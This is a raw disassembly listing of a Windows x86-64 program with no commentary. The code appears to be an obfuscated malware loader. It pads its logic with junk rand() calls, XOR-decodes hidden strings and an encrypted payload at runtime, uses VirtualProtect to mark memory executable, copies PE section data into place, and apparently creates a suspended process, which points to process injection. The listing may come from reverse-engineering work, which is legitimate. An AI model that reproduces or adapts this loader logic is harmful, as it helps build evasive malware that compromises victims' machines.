call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x36
je 0x140003410
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd4
je 0x140003420
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xcb
je 0x140003450
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xc3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c250]
movd dword [rax], xmm0
movdqa xmmword [rbp + 0x4d0], xmm0
movzx ecx, byte [rbp + 0x4d1]
mov byte [rax + 4], cl
mov r8d, edx
xor r8b, 0xa2
mov byte [rax + 5], r8b
mov r8d, edx
xor r8b, 0xa7
mov byte [rax + 6], r8b
mov byte [rax + 7], cl
xor dl, 0xb1
mov byte [rax + 8], dl
mov byte [rax + 9], 0
mov dword [rsp + 0x20], 0
push rax
pop rcx
nop
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0x5c8]
nop
push rax
pop rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x18
je 0x140003500
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xc3
cmove ecx, edx
mov edx, ecx
xor dl, 0xab
mov byte [rax], dl
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 1], dl
mov byte [rax + 2], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c260]
pxor xmm1, xmm0
pxor xmm2, xmm2
movdqa xmm3, xmm1
punpcklbw xmm3, xmm2
pshufhw xmm2, xmm3, 0x6c
pshufd xmm2, xmm2, 0x2e
pshuflw xmm2, xmm2, 0x73
pshufhw xmm2, xmm2, 7
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xec
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xa4
pshufhw xmm3, xmm3, 0x93
packuswb xmm3, xmm2
movdqu xmmword [rax + 3], xmm3
movdqa xmmword [rbp + 0x630], xmm1
movzx edx, byte [rbp + 0x634]
mov byte [rax + 0x13], dl
movzx edx, byte [rbp + 0x630]
movzx r8d, byte [rbp + 0x632]
mov byte [rax + 0x14], r8b
mov byte [rax + 0x15], dl
pxor xmm0, xmmword [0x14000c270]
movd dword [rax + 0x16], xmm0
movdqa xmmword [rbp + 0x4e0], xmm0
movzx edx, byte [rbp + 0x4e0]
mov byte [rax + 0x1a], dl
mov edx, ecx
xor dl, 0xa7
mov byte [rax + 0x1b], dl
movzx edx, byte [rbp + 0x635]
mov byte [rax + 0x1c], dl
mov edx, ecx
xor dl, 0xa1
mov byte [rax + 0x1d], dl
mov edx, ecx
xor dl, 0xaa
mov byte [rax + 0x1e], dl
xor cl, 0xad
mov byte [rax + 0x1f], cl
mov byte [rax + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
push rsi
nop
pop rcx
nop
push rax
pop rdx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0x5c0]
push rax
nop
pop rsi
call sub.msvcrt.dll_rand
cmp eax, 0x5e
je 0x140003630
lea rdx, [rbp - 0x30]
lea r9, [rbp + 0x64c]
push rsi
nop
pop rcx
mov r8d, 0x400
call rbx
xor r14d, r14d
or eax, eax
je 0x1400038a4
cmp dword [rbp + 0x64c], 0
mov r13d, 0
je 0x1400038b0
xor r13d, r13d
lea rdi, [rbp - 0x30]
lea r15, [rbp + 0x64c]
xor r14d, r14d
nop
call sub.msvcrt.dll_rand
cmp eax, 0x5d
je 0x140003680
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x64c]
add edx, r13d
mov rcx, r14
call sub.msvcrt.dll_realloc
mov r14, rax
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x56
je 0x1400036b0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movsxd rax, r13d
mov rcx, r14
add rcx, rax
mov r12d, dword [rbp + 0x64c]
push rdi
nop
pop rdx
mov r8, r12
call sub.msvcrt.dll_memcpy
call sub.msvcrt.dll_rand
add r13d, r12d
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
push rsi
pop rcx
nop
push rdi
pop rdx
mov r8d, 0x400
mov r9, r15
call rbx
or eax, eax
je 0x1400038b0
cmp dword [rbp + 0x64c], 0
jne 0x140003680
jmp 0x1400038b0
lea rbx, [rsi + 0x18]
xor r14d, r14d
mov r15d, 0x31
movdqa xmm6, xmmword [0x14000c240]
jmp 0x140003760
inc r14
movzx eax, word [rsi + 6]
cmp r14, rax
jae 0x140003295
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movzx eax, word [rsi + 0x14]
lea rcx, [r14 + r14*4]
lea r12, [rbx + rcx*8]
add r12, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r13d, eax
mov ecx, 6
call sub.msvcrt.dll_malloc
test r13d, r13d
mov ecx, 0xc3
cmove ecx, r15d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmm6
movd dword [rax], xmm0
movdqa xmmword [rbp + 0x4c0], xmm0
movzx ecx, byte [rbp + 0x4c1]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rcx, r12
nop
push rax
pop rdx
call sub.msvcrt.dll_strcmp
or eax, eax
jne 0x140003750
mov dword [rbp - 0x30], 0
call sub.msvcrt.dll_rand
cmp eax, 0xe3
je 0x1400037f0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd4
je 0x140003800
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x72
je 0x140003810
mov edx, dword [r12 + 8]
mov ecx, dword [r12 + 0xc]
add rcx, rdi
mov r8d, 0x40
lea r9, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xea
je 0x140003840
mov r8d, dword [r12 + 8]
mov edx, dword [r12 + 0xc]
lea rcx, [rdx + rdi]
add rdx, qword [rbp + 0x5a0]
call sub.msvcrt.dll_memcpy
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [r12 + 8]
mov ecx, dword [r12 + 0xc]
add rcx, rdi
mov r8d, dword [rbp - 0x30]
lea r9, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
jmp 0x140003750
xor r13d, r13d
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb7
je 0x1400038b0
movsxd rsi, r13d
push rsi
pop rcx
nop
call sub.msvcrt.dll_malloc
push rax
nop
pop rdi
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x81
je 0x1400038d0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
test r13d, r13d
je 0x140003a37
or eax, eax
mov ecx, 0x31
mov eax, 0xc3
cmove eax, ecx
sub ecx, ecx
cmp r13d, 8
jb 0x1400039ce
push rdi
pop rdx
nop
sub rdx, r14
cmp rdx, 0x20
jb 0x1400039ce
movzx edx, al
cmp r13d, 0x20
jae 0x140003931
sub ecx, ecx
jmp 0x14000398a
push rsi
pop rcx
nop
and rcx, 0xffffffffffffffe0
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
sub r8d, r8d
nop dword [rax]
movdqu xmm1, xmmword [r14 + r8]
movdqu xmm2, xmmword [r14 + r8 + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [rdi + r8], xmm1
movdqu xmmword [rdi + r8 + 0x10], xmm2
add r8, 0x20
cmp rcx, r8
jne 0x140003950
cmp rcx, rsi
je 0x140003a37
test sil, 0x18
je 0x1400039ce
mov r8, rcx
push rsi
pop rcx
nop
and rcx, 0xfffffffffffffff8
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
nop word cs:[rax + rax]
movq xmm1, qword [r14 + r8]
pxor xmm1, xmm0
movq qword [rdi + r8], xmm1
add r8, 8
cmp rcx, r8
jne 0x1400039b0
cmp rcx, rsi
je 0x140003a37
push rcx
pop rdx
nop
not rdx
add rdx, rsi
mov r8, rsi
and r8, 3
je 0x1400039f4
movzx r9d, byte [r14 + rcx]
xor r9b, al
mov byte [rdi + rcx], r9b
inc rcx
dec r8
jne 0x1400039e0
cmp rdx, 3
jb 0x140003a37
nop word [rax + rax]
movzx edx, byte [r14 + rcx]
xor dl, al
mov byte [rdi + rcx], dl
movzx edx, byte [r14 + rcx + 1]
xor dl, al
mov byte [rdi + rcx + 1], dl
movzx edx, byte [r14 + rcx + 2]
xor dl, al
mov byte [rdi + rcx + 2], dl
movzx edx, byte [r14 + rcx + 3]
xor dl, al
mov byte [rdi + rcx + 3], dl
add rcx, 4
cmp rsi, rcx
jne 0x140003a00
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xbf
je 0x140003a50
nop dword [rax]
call sub.msvcrt.dll_rand
or eax, eax
je 0x140003a60
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rbp + 0x648], 0
lea r9, [rbp + 0x648]
push rdi
pop rcx
nop
push rsi
pop rdx
nop
mov r8d, 0x40
call qword [rbp + 0x5b0]
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x47
je 0x140003aa0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x13
je 0x140003ab0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 7
je 0x140003ac0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xde
je 0x140003ad0
pxor xmm6, xmm6
movdqa xmmword [rbp + 0x420], xmm6
movdqa xmmword [rbp + 0x410], xmm6
movdqa xmmword [rbp + 0x400], xmm6
movdqa xmmword [rbp + 0x3f0], xmm6
movdqa xmmword [rbp + 0x3e0], xmm6
movdqa xmmword [rbp + 0x3d0], xmm6
mov qword [rbp + 0x430], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movdqa xmmword [rbp + 0x5f0], xmm6
mov qword [rbp + 0x600], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb2
je 0x140003b50
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x1a
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xc3
cmove ecx, edx
lea edx, [rcx - 0x80]
mov byte [rax], dl
mov edx, ecx
xor dl, 0xf9
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c280]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0x590], xmm0
movzx edx, byte [rbp + 0x590]
movzx r8d, byte [rbp + 0x595]
mov byte [rax + 2], dl
movq qword [rax + 3], xmm0
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
mov edx, ecx
xor dl, 0xa6
mov byte [rax + 0xd], dl
mov r9d, ecx
xor r9b, 0xbb
mov byte [rax + 0xe], r9b
mov r10d, ecx
xor r10b, 0xb3
mov byte [rax + 0xf], r10b
mov r10d, ecx
xor r10b, 0xaf
mov byte [rax + 0x10], r10b
mov byte [rax + 0x11], r8b
mov r8d, ecx
xor r8b, 0xb1
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], dl
mov byte [rax + 0x14], r8b
xor cl, 0xed
mov byte [rax + 0x15], cl
mov byte [rax + 0x16], dl
mov byte [rax + 0x17], r9b
mov byte [rax + 0x18], dl
mov byte [rax + 0x19], 0
lea rcx, [rbp + 0x5f0]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x3d0]
mov qword [rsp + 0x40], rcx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
nop
push rax
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0x5a8]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x5f0]
call fcn.140001f00
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7c
je 0x140003cb0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe
je 0x140003cc0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x5f0]
call fcn.140001b80
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8d
je 0x140003d00
mov rcx, qword [rbp + 0x5f0]
call fcn.1400017e0
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x56
je 0x140003d20
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd9
je 0x140003d30
sub ecx, ecx
call sub.msvcrt.dll_exit
int3